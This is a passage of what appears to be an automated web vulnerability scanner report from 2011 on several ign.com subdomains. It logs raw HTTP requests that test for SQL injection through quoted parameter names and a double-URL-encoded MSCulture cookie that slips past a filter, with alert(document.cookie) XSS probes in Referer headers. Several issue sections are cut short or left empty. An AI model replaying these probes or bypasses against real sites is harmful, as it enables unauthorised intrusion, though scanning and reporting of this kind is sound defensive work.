Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5328,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11754,13182,14845,15232,16249,16251,16339,17586,17863,17899,19173,19554,19557,20835,20860,20903,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cwkajIr,bguRrfrbdmWad

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5328,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11754,13182,14845,15232,16249,16251,16339,17586,17863,17899,19173,19554,19557,20835,20860,20903,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cwkajIr,bguRrfrbdmWad HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:47 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5328,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11754,13182,14845,15232,16249,16251,16339,17586,17863,17899,19173,19554,19557,20835,20860,20903,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cwkajIr,bguRrfrbdmWad HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:47 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5328,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11754,13182,14845,15232,16249,16251,16339,17586,17863,17899,19173,19554,19557,20835,20860,20903,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bmgrptj,bguRragewbmAq

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5328,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11754,13182,14845,15232,16249,16251,16339,17586,17863,17899,19173,19554,19557,20835,20860,20903,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bmgrptj,bguRragewbmAq HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:29 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5328,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11754,13182,14845,15232,16249,16251,16339,17586,17863,17899,19173,19554,19557,20835,20860,20903,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bmgrptj,bguRragewbmAq HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:29 GMT
Connection: close
Vary: Accept-Encoding

1.48. http://faqs.ign.com/objects/143/14354229.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://faqs.ign.com
Path:	/objects/143/14354229.html

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /objects/143/14354229.html?1'=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:36 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-23694-1614185244-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043436610v-1n-12mc+1297043436610mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 117487

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<SCRIPT LANGUAGE=VBScript\> \n');
document.write('on error resume next \n');
document.write('ShockMode = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.10")))\n');
document.write('<\/SCRIPT\>
...[SNIP]...

Request 2

GET /objects/143/14354229.html?1''=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

1.49. http://faqs.ign.com/objects/857/857126.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://faqs.ign.com
Path:	/objects/857/857126.html

Issue detail

Request 1

GET /objects/857/857126.html?1'=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:40 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-343287037-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043441009v-1n-12mc+1297043441009mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120234

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<SCRIPT LANGUAGE=VBScript\> \n');
document.write('on error resume next \n');
document.write('ShockMode = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.10")))\n');
document.write('<\/SCRIPT\>
...[SNIP]...

Request 2

GET /objects/857/857126.html?1''=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:41 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-613569988-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:41 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043441887v-1n-12mc+1297043441887mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 117185

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...

1.50. http://movies.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://movies.ign.com
Path:	/index/podcasts.html

Issue detail

Remediation detail

Request 1

GET /index/podcasts.html?1%00'=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:09 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-1244301562-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043649178v-1n-12mc+1297043649178mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 105560

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Movies: Traile
...[SNIP]...
<a href="http://www.eyewonderlabs.com/ct.cfm?ewbust=0&guid=0&ewadid=133845&eid=1408638&file=http://cdn.eyewonder.com/100125/767313/1408638/NOSCRIPTfailover.jpg&pnl=MainBanner&type=0&name=Clickthru-NOSCRIPT&num=1&time=0&diff=0&clkX=&clkY=&click=http://ad.doubleclick.net/clk;233693403;57403001;s?http://mindjackgame.com/na/order.html" target="_blank">
...[SNIP]...

Request 2

GET /index/podcasts.html?1%00''=1 HTTP/1.1
Host: movies.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

1.51. http://ps3.ign.com/ [MSCulture cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ps3.ign.com
Path:	/

Issue detail

The MSCulture cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the MSCulture cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the MSCulture cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET / HTTP/1.1
Host: ps3.ign.com
Proxy-Connection: keep-alive
Referer: http://xbox360.ign.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==%2527; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; NGUserID=a016c06-15003-1306593845-5; decc=US; i18n-cc=US; freq=c-1297041089878v-1n-12mc+1297041089878mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297041142.2; __utmb=173446715; __utmc=173446715; rsi_segs=10089; s_pers=%20s_nr%3D1297041144640%7C1299633144640%3B%20s_lv%3D1297041144641%7C1391649144641%3B%20s_lv_s%3DFirst%2520Visit%7C1297042944641%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dxbox360.ign.com%253A%3B%20s_c13%3Dxbox360.ign.com%253A%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Axbox360%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//ps3.ign.com/%252526ot%25253DA%3B

Response 1

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:15:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:15:52 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297041089878v-2n-12mc+1297041089878mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 170026

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Sony PlayStation 3
...[SNIP]...
<a href="http://www.eyewonderlabs.com/ct.cfm?ewbust=0&guid=0&ewadid=122610&eid=1420207&file=http://cdn.eyewonder.com/100125/765638/1420207/NOSCRIPTfailover.gif&pnl=MainBanner&type=0&name=Clickthru-NOSCRIPT&num=1&time=0&diff=0&clkX=&clkY=&click=http://www.facebook.com/marvelvscapcom3?v=app_163719520308859" target="_blank">
...[SNIP]...

Request 2

GET / HTTP/1.1
Host: ps3.ign.com
Proxy-Connection: keep-alive
Referer: http://xbox360.ign.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==%2527%2527; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; NGUserID=a016c06-15003-1306593845-5; decc=US; i18n-cc=US; freq=c-1297041089878v-1n-12mc+1297041089878mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297041142.2; __utmb=173446715; __utmc=173446715; rsi_segs=10089; s_pers=%20s_nr%3D1297041144640%7C1299633144640%3B%20s_lv%3D1297041144641%7C1391649144641%3B%20s_lv_s%3DFirst%2520Visit%7C1297042944641%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dxbox360.ign.com%253A%3B%20s_c13%3Dxbox360.ign.com%253A%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Axbox360%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//ps3.ign.com/%252526ot%25253DA%3B

Response 2

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:15:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:15:53 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297041089878v-2n-12mc+1297041089878mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 168603

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Sony PlayStation 3
...[SNIP]...

1.52. http://ps3.ign.com/index/latest-updates.html [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ps3.ign.com
Path:	/index/latest-updates.html

Issue detail

